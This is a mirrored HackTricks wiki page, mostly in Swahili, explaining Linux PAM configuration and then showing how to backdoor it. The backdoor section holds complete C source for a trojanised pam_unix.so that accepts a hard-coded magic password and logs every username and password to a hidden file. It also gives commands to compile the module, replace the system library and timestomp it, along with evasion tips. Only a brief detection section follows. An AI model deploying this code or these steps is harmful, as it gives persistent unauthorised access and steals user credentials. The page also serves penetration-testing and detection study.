mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
109 lines
5.6 KiB
Markdown
109 lines
5.6 KiB
Markdown
# PAM - Pluggable Authentication Modules
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
### Basic Information
|
||
|
||
**PAM (Pluggable Authentication Modules)** inafanya kazi kama mekanizma ya usalama ambayo **inasimamia utambulisho wa watumiaji wanaojaribu kufikia huduma za kompyuta**, ikidhibiti ufikiaji wao kulingana na vigezo mbalimbali. Ni kama mlango wa kidijitali, kuhakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kushiriki na huduma maalum huku wakipunguza matumizi yao ili kuzuia mzigo wa mfumo.
|
||
|
||
#### Configuration Files
|
||
|
||
- **Mifumo ya Solaris na UNIX** kwa kawaida hutumia faili moja kuu ya usanidi iliyoko katika `/etc/pam.conf`.
|
||
- **Mifumo ya Linux** hupendelea njia ya directory, ikihifadhi usanidi maalum wa huduma ndani ya `/etc/pam.d`. Kwa mfano, faili ya usanidi wa huduma ya kuingia inapatikana katika `/etc/pam.d/login`.
|
||
|
||
Mfano wa usanidi wa PAM kwa huduma ya kuingia unaweza kuonekana kama ifuatavyo:
|
||
```
|
||
auth required /lib/security/pam_securetty.so
|
||
auth required /lib/security/pam_nologin.so
|
||
auth sufficient /lib/security/pam_ldap.so
|
||
auth required /lib/security/pam_unix_auth.so try_first_pass
|
||
account sufficient /lib/security/pam_ldap.so
|
||
account required /lib/security/pam_unix_acct.so
|
||
password required /lib/security/pam_cracklib.so
|
||
password required /lib/security/pam_ldap.so
|
||
password required /lib/security/pam_pwdb.so use_first_pass
|
||
session required /lib/security/pam_unix_session.so
|
||
```
|
||
#### **PAM Management Realms**
|
||
|
||
Hizi ni maeneo, au vikundi vya usimamizi, vinavyohusisha **auth**, **account**, **password**, na **session**, kila moja ikiwa na jukumu tofauti katika mchakato wa uthibitishaji na usimamizi wa kikao:
|
||
|
||
- **Auth**: Inathibitisha utambulisho wa mtumiaji, mara nyingi kwa kuomba nenosiri.
|
||
- **Account**: Inashughulikia uthibitisho wa akaunti, ikikagua hali kama vile uanachama wa kikundi au vizuizi vya wakati wa siku.
|
||
- **Password**: Inasimamia masasisho ya nenosiri, ikiwa ni pamoja na ukaguzi wa ugumu au kuzuia mashambulizi ya kamusi.
|
||
- **Session**: Inasimamia vitendo wakati wa kuanza au kumaliza kikao cha huduma, kama vile kuunganisha saraka au kuweka mipaka ya rasilimali.
|
||
|
||
#### **PAM Module Controls**
|
||
|
||
Udhibiti unamua jinsi moduli inavyofanya kazi kwa mafanikio au kushindwa, ikishawishi mchakato mzima wa uthibitishaji. Hizi ni pamoja na:
|
||
|
||
- **Required**: Kushindwa kwa moduli inayohitajika kunasababisha kushindwa kwa jumla, lakini tu baada ya moduli zote zinazofuata kukaguliwa.
|
||
- **Requisite**: Kumaliza mchakato mara moja baada ya kushindwa.
|
||
- **Sufficient**: Mafanikio yanakwepa ukaguzi wa moduli zingine za eneo hilo isipokuwa moduli inayofuata ikishindwa.
|
||
- **Optional**: Inasababisha kushindwa tu ikiwa ndiyo moduli pekee katika safu.
|
||
|
||
#### Mfano wa Hali
|
||
|
||
Katika usanidi wenye moduli nyingi za uthibitishaji, mchakato unafuata mpangilio mkali. Ikiwa moduli ya `pam_securetty` inakuta terminal ya kuingia haijaruhusiwa, kuingia kwa root kunazuiwa, lakini moduli zote bado zinashughulikiwa kutokana na hadhi yake ya "required". Moduli ya `pam_env` inaweka mabadiliko ya mazingira, ambayo yanaweza kusaidia katika uzoefu wa mtumiaji. Moduli za `pam_ldap` na `pam_unix` zinafanya kazi pamoja kuthibitisha mtumiaji, huku `pam_unix` ikijaribu kutumia nenosiri lililotolewa awali, ikiongeza ufanisi na kubadilika katika mbinu za uthibitishaji.
|
||
|
||
## Backdooring PAM – Hooking `pam_unix.so`
|
||
|
||
Njia ya jadi ya kudumu katika mazingira ya Linux yenye thamani kubwa ni **kubadilisha maktaba halali ya PAM na ya trojanised drop-in**. Kwa sababu kila kuingia kwa SSH / console huishia kuita `pam_unix.so:pam_sm_authenticate()`, mistari michache ya C inatosha kukamata akidi au kutekeleza *magic* password bypass.
|
||
|
||
### Compilation Cheatsheet
|
||
```c
|
||
#define _GNU_SOURCE
|
||
#include <security/pam_modules.h>
|
||
#include <dlfcn.h>
|
||
#include <stdio.h>
|
||
#include <fcntl.h>
|
||
#include <unistd.h>
|
||
|
||
static int (*orig)(pam_handle_t *, int, int, const char **);
|
||
static const char *MAGIC = "Sup3rS3cret!";
|
||
|
||
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||
const char *user, *pass;
|
||
pam_get_user(pamh, &user, NULL);
|
||
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
|
||
|
||
/* Magic pwd → immediate success */
|
||
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
|
||
|
||
/* Credential harvesting */
|
||
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
|
||
dprintf(fd, "%s:%s\n", user, pass);
|
||
close(fd);
|
||
|
||
/* Fall back to original function */
|
||
if(!orig) {
|
||
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
|
||
}
|
||
return orig(pamh, flags, argc, argv);
|
||
}
|
||
```
|
||
Kusanya na kubadilisha kwa siri:
|
||
```bash
|
||
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
|
||
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
|
||
mv pam_unix.so /lib/security/pam_unix.so
|
||
chmod 644 /lib/security/pam_unix.so # keep original perms
|
||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||
```
|
||
### OpSec Tips
|
||
1. **Atomic overwrite** – andika kwenye faili ya muda na `mv` kuhamasisha ili kuepuka maktaba zilizoandikwa nusu ambazo zingezuia SSH.
|
||
2. Mahali pa faili za log kama `/usr/bin/.dbus.log` yanachanganyika na vitu halali vya desktop.
|
||
3. Hifadhi usafirishaji wa alama kuwa sawa (`pam_sm_setcred`, nk.) ili kuepuka tabia mbaya ya PAM.
|
||
|
||
### Detection
|
||
* Linganisha MD5/SHA256 ya `pam_unix.so` dhidi ya pakiti ya distro.
|
||
* Angalia kwa umiliki wa dunia unaoweza kuandikwa au usio wa kawaida chini ya `/lib/security/`.
|
||
* Kanuni ya `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||
|
||
### References
|
||
|
||
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|